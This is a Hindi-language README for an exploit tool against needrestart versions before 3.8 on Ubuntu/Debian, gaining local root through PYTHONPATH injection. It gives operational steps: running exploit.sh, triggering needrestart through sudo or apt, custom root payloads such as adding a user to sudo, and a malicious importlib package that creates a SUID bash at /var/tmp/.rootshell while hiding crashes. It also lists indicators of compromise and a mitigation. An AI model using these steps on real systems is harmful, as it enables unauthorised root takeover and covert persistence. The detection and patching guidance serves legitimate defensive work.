
needrestart < 3.8 स्थानीय विशेषाधिकार वृद्धि के माध्यम से PYTHONPATH injection
Ubuntu/Debian सिस्टम पर needrestart < 3.8 को लक्षित करने वाला स्थानीय विशेषाधिकार वृद्धि शोषण PYTHONPATH इंजेक्शन के माध्यम से।
needrestart एक उपयोगिता है जो आमतौर पर Ubuntu/Debian सर्वरों पर स्थापित होती है, जो लाइब्रेरी अपग्रेड के बाद जाँचती है कि किन सेवाओं को पुनः आरंभ करने की आवश्यकता है। यह रूट के रूप में चलता है और आमतौर पर apt संचालन के बाद स्वचालित रूप से ट्रिगर होता है या sudo के माध्यम से सीधे लागू किया जाता है।
जब Python प्रक्रियाओं की जाँच करता है, needrestart Python इंटरप्रेटर को प्रक्रिया के पूर्ण वातावरण को /proc/<pid>/environ से विरासत में लेते हुए पुनः लागू करता है — जिसमें PYTHONPATH शामिल है। एक अन-प्रिविलेज्ड स्थानीय उपयोगकर्ता इसका दोहन कर सकता है:
PYTHONPATH को एक ऐसी निर्देशिका पर सेट करना जिसमें एक दुर्भावनापूर्ण importlib पैकेज होimportlib/__init__.py को रूट के रूप में लोड करता है| पैकेज | कमज़ोर | स्थिर |
|---|---|---|
| needrestart | < 3.8 | >= 3.8 |
पुष्टि की गई:
needrestart 3.5-5ubuntu2.4needrestart 3.6-7ubuntu4chmod +x exploit.sh
./exploit.sh
फिर दूसरे टर्मिनल से needrestart को ट्रिगर करें:
# यदि आपके पास needrestart तक सीधा sudo पहुँच है:
sudo /usr/sbin/needrestart
# या इसे apt के माध्यम से ट्रिगर करें (needrestart apt के बाद के हुक के रूप में चलता है):
sudo apt update && sudo apt install --reinstall coreutils
एक बार needrestart ट्रिगर होने पर, शोषण /var/tmp/.rootshell पर एक SUID शेल बनाता है और आपको स्वचालित रूप से रूट शेल में डाल देता है।
यदि ऑटो-एक्ज़ीक्यूशन काम नहीं करता है, तो शेल को मैन्युअल रूप से लें:
/var/tmp/.rootshell -p
Usage: ./exploit.sh [OPTIONS]
Options:
-c <command> रूट के रूप में चलाने के लिए कस्टम शेल कमांड (डिफ़ॉल्ट: suid शेल कॉपी करें)
-w <seconds> सेकंड में अधिकतम प्रतीक्षा समय (डिफ़ॉल्ट: 300)
-t ट्रिगर मोड: apt के माध्यम से needrestart को ट्रिगर करने का प्रयास करें
-n कोई सफाई न करें: शोषण के बाद पेलोड निर्देशिका रखें
-h यह सहायता संदेश दिखाएँ
# डिफ़ॉल्ट — /var/tmp/.rootshell पर SUID /bin/bash कॉपी बनाता है
./exploit.sh
# apt के माध्यम से needrestart को ऑटो-ट्रिगर करें (sudo apt पहुँच आवश्यक)
./exploit.sh -t
# कस्टम पेलोड: वर्तमान उपयोगकर्ता को sudoers में जोड़ें
./exploit.sh -c 'usermod -aG sudo targetuser'
# कस्टम पेलोड: एक प्रतिबंधित फ़ाइल पढ़ें
./exploit.sh -c 'cat /root/flag.txt > /tmp/flag.txt && chmod 644 /tmp/flag.txt'
# विस्तारित प्रतीक्षा (10 मिनट)
./exploit.sh -w 600
┌───────────────────────────────────────────────────────────────┐
│ 1. पेलोड के साथ /tmp/.nr_XXXX/importlib/__init__.py बनाता है │
│ जो os.system() चलाकर /bin/bash को SUID बाइनरी के रूप में │
│ कॉपी करता है │
├───────────────────────────────────────────────────────────────┤
│ 2. एक लंबे समय तक चलने वाली Python प्रक्रिया को जन्म देता है │
│ जिसके वातावरण में PYTHONPATH=/tmp/.nr_XXXX निर्यात होता है│
├───────────────────────────────────────────────────────────────┤
│ 3. needrestart चलता है (sudo या apt हुक के माध्यम से), │
│ /proc/*/environ को स्कैन करता है, Python प्रक्रिया ढूँढता है│
├───────────────────────────────────────────────────────────────┤
│ 4. needrestart python3 को ROOT के रूप में पुनः लागू करता है │
│ हमलावर के PYTHONPATH को विरासत में लेते हुए → दुर्भावनापूर्ण │
│ importlib लोड करता है │
├───────────────────────────────────────────────────────────────┤
│ 5. पेलोड रूट के रूप में निष्पादित होता है: cp /bin/bash + │
│ chmod 4755 → हमलावर /var/tmp/.rootshell -p चलाता है │
│ → रूट शेल │
└───────────────────────────────────────────────────────────────┘
/tmp/ के बजाय /var/tmp/ में रखा जाता है क्योंकि /tmp सामान्यतः nosuid के साथ माउंट होता है, जो चुपचाप SUID बिट को हटा देता है।importlib/__init__.py पेलोड निष्पादन के बाद sys.path और sys.modules को साफ करके वास्तविक importlib को पुनर्स्थापित करता है, ताकि needrestart दृश्य रूप से क्रैश न हो।.py फ़ाइल (न कि -c वन-लाइनर) चलाती है, जो needrestart के इंटरप्रेटर स्कैनिंग के साथ बेहतर अनुकूलता के लिए है।इस शोषण के उपयोग के संकेतक:
/var/tmp/ या /tmp/ में अप्रत्याशित SUID बाइनरीPYTHONPATH मानों के साथ Python प्रक्रियाएँ जो अस्थायी निर्देशिकाओं की ओर इशारा करती हैं/tmp/.nr_* पैटर्न से मेल खाने वाली निर्देशिकाएँ जिनमें importlib/ उप-निर्देशिका होती है# needrestart को पैच किए गए संस्करण में अपडेट करें
sudo apt update && sudo apt install needrestart
# या इंटरप्रेटर स्कैनिंग को पूरी तरह से अक्षम करें
echo "\$nrconf{interpscan} = 0;" | sudo tee /etc/needrestart/conf.d/no-interp.conf
यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। इसका उपयोग केवल उन सिस्टमों पर करें जिनके आप मालिक हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। कंप्यूटर सिस्टमों तक अनधिकृत पहुँच अवैध है। लेखक दुरुपयोग के लिए कोई दायित्व नहीं लेता है।
MIT